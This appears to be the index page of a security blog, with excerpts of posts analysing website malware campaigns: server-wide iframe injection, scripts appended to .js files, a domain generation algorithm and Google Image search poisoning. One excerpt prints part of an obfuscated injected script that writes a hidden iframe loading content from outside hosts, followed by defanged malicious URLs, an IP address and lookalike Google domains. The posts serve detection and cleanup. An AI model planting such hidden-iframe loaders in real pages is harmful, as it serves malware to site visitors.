It’s a follow up to my post about server-wide iframe injection attack where I asked for any information about that tricky hack. Thanks to my readers and administrators of infected servers I have some new information about it. Now I know how it works and what is infected, but still have no idea how hackers break into servers, so your input is welcome.
Continue »»
This post is a request for information.
This summer I come across some clearly infected servers where I can’t figure out how exactly the hack works and what should be done to clean them up and to protect other servers from similar hacks. So I decided to share my information about the issue and hope someone could shed some light on it.
Here we go »»
Today I came across an interesting attack that injects malicious scripts at the very bottom of existing .js files.
Update: at the bottom of this post you’ll find information about how a security hole in Plesk Panel was used to infect websites. Comments are also worth reading.
Update (July 26, 2012): The attack has changed both the injected script and the domain generating algorithm. See details in my follow up article. Information about the Plesk security issues are still can be found in the current post and comments.
The script (surrounded by the /*km0ae9gr6m*/…/*qhk6sa6g1c*/ pair of comments ) looks like this:

Full source code can be found here
On Google diagnostic pages of infected sites you will currently see something like this
Malicious software is hosted on 2 domain(s), including ctonxidjqijsnzny .ru/, znycugibimtvplve .ru/.
I say “currently”, because the most interesting thing about this script is the built-in domain name generator.
Continue »»
Just a quick review of hacker attack that I came across this week.
The attackers inject a malicious script into legitimate web pages on compromised sites and update the script several time a day (sometimes they change the script code and sometimes just make sure the script is still there, in case webmasters removed it). Typical scripts looks like this:
var $E=(Date);if($E){$f=['2*%0)%5}%1','%3{%b(%9_%8...skipped...(1))[$s.$Aj]($l[$0][$s.$1k](0,1));}}return this;},$3=$l(),$f='';$pi('l\x65\x6E\x67th');if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('s cript').length > 0){document.wr ite('<i frame src="'+document.getElementById('____Uy').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}
The scripts create invisible iframes that load malicious content from subdomains of ddns.name (ddns.name is a free dynamic DNS service). E.g.
<i frame src="hxxp://npputdzykop .ddns .name/index.php?showtopic=892380" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>
hxxp://bacmdmrnxdf .ddns .name/index.php?showtopic=892380
hxxp://hjuusnhqspt .ddns .name/index.php?showtopic=892380
hxxp://kmkyqilckhi .ddns .name/index.php?showtopic=892380
hxxp://npputdzykop .ddns .name/index.php?showtopic=892380
hxxp://jnobuznhccv .ddns .name/index.php?showtopic=892380
…
Last time I checked, the malicious subdomains pointed to 37.59.74.146.
When Google detects such malware on websites, you will see the following (or similar) messages on Safe Browsing diagnostic pages:
Malicious software is hosted on 7 domain(s), including hyyjkhfgmxk .ddns .name/, google-‐analytics .com/, kmkyqilckhi.ddns.name/.
1 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including google‐‐analytics .com/
When Michael VanDeMar mentioned the malicious “googlesafebrowsing .com” domain, I decided to check how exactly it was used in malware attacks. It’s quite a popular trick to mimic Google’s own domains to make malicious code look legitimate. I have a “collection” of several dozens on misspelled Google Analytics domains alone that were used for malware distribution. In this case, the domain name was made up rather than misspelled. It referres to Google’s Safe Browsing project and their diagnostic pages that actually use the google.com domain (as most other Google’s services).
Continue »»
I’d like to point webmasters at a great article on the Armorize blog. It is about a new massive script injection attack that seems to have affected a few thousand websites. In my post, I will summarize the information specifically for webmasters.
Continue »»
In May, I wrote a big article about my investigation of a massive Google Image poisoning attack. A quick recap: cybercriminals created millions of doorway pages on dozens of thousands compromised websites. Those pages exploited a flaw in Google Image search algorithm that made it possible for pages with hot-linked images to hijack search results of websites where the images actually belonged to. The attack scheme was very efficient and hundreds of thousand (if not millions) people clicked on poisoned image search results every day.
Not only did I publish results of my investigation on my blog but also shared a great deal of gathered information (lists of compromised sites, algorithms, etc.) with Google and antivirus vendors. I hope this made some difference as I started observe changes literally the next day after the article publication.
In this 2-part series of posts, I will talk about what’s changed since then. Specifically about how Google addressed this problem (part I) and how cybercriminals changed the attack scheme (part II).
Continue »»
This is a short follow up on my post about hacked sites that poisoned Google Image search results.
As I mentioned in that post, most compromised sites where hackers created malicious doorway pages, contained one of the following images or iframes in their legitimate index pages.
Continue »»